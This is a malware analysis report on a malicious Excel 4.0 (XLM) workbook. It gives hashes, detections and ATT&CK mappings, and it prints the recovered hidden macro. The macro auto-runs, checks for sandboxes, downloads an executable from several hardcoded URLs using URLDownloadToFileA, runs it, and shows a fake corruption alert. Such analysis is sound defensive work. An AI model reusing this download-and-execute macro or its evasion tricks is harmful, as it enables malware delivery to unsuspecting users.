Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 89e6e635c1101a6a…

MALICIOUS

Office (OLE)

111.0 KB Created: 2020-02-27 10:23:09 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: c7f273947124d844d77b7c376a9393b4 SHA-1: 3497bea7fbb12fa3d62fce071fdb22ca53bfbddb SHA-256: 89e6e635c1101a6a89d3abbb427551fd9b0c1e9695d22fa44dd480bf6026c44c
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1105 Ingress Tool Transfer

The file contains Excel 4.0 macros that are configured to automatically execute upon opening. These macros utilize the URLDownloadToFileA API to download a file from one of several hardcoded URLs, saving it as 'c:\Users\Public\asd2asff32.exe'. This indicates the sample's primary function is to act as a downloader for a second-stage payload.

Heuristics 6

  • ClamAV: Xls.Downloader.Abracadabra-f87353785a988c8e-9950319-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Abracadabra-f87353785a988c8e-9950319-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://samphaopet.com/wp-content/uploads/2020/02/idle/111111.png In document text (OLE body)
    • http://icietdemain.fr/contents/2020/02/idle/222222.pngIn document text (OLE body)
    • http://careers.sorint.it/idle/33333.pngIn document text (OLE body)
    • http://uniluisgpaez.edu.co/wp-content/uploads/2020/02/idle/444444.pngIn document text (OLE body)
    • http://icietdemain.fr/contents/2020/02/idle/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 2168 bytes
SHA-256: 0193df8a552c84a05de07d4ae8f02bd4c3c20e4697c67e4379a503c348ae8807
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  e6oGgi9gZ
' 0018     31 LABEL : Cell Value, String Constant - asdfafwef len=7 ptgRef3d  Sheet!F23 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A1 
' 0018     28 LABEL : Cell Value, String Constant - rewtrt len=7 ptgRef3d  Sheet!F25 
' 0018     29 LABEL : Cell Value, String Constant - rwth54h len=7 ptgRef3d  Sheet!O17 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  e6oGgi9gZ,A1,"IF(GET.WORKSPACE(42),,CLOSE(TRUE))",""
'  e6oGgi9gZ,A2,GET.WORKSPACE(13),""
'  e6oGgi9gZ,A3,GET.WORKSPACE(14),""
'  e6oGgi9gZ,A4,"IF(A2<770,CLOSE(FALSE),)",""
'  e6oGgi9gZ,A5,"IF(A3<380,CLOSE(FALSE),)",""
'  e6oGgi9gZ,A6,"IF(GET.WORKSPACE(19),,CLOSE(TRUE))",""
'  e6oGgi9gZ,A7,"CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://samphaopet.com/wp-content/uploads/2020/02/idle/111111.png","c:\Users\Public\asd2asff32.exe",0,0)",""
'  e6oGgi9gZ,A8,"IF(A7<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://icietdemain.fr/contents/2020/02/idle/222222.png","c:\Users\Public\asd2asff32.exe",0,0),GOTO(A12))",""
'  e6oGgi9gZ,A9,"IF(A8<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://careers.sorint.it/idle/33333.png","c:\Users\Public\asd2asff32.exe",0,0),GOTO(A12))",""
'  e6oGgi9gZ,A10,"IF(A9<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://uniluisgpaez.edu.co/wp-content/uploads/2020/02/idle/444444.png","c:\Users\Public\asd2asff32.exe",0,0),GOTO(A12))",""
'  e6oGgi9gZ,A11,"IF(A10<0,CLOSE(FALSE),)",""
'  e6oGgi9gZ,A12,EXEC("c:\Users\Public\asd2asff32.exe"),""
'  e6oGgi9gZ,A13,"ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it is corrupt.",2)",""
'  e6oGgi9gZ,A14,CLOSE(FALSE),""
'  e6oGgi9gZ,H14,"WORKBOOK.HIDE("e6oGgi9gZN",TRUE)",""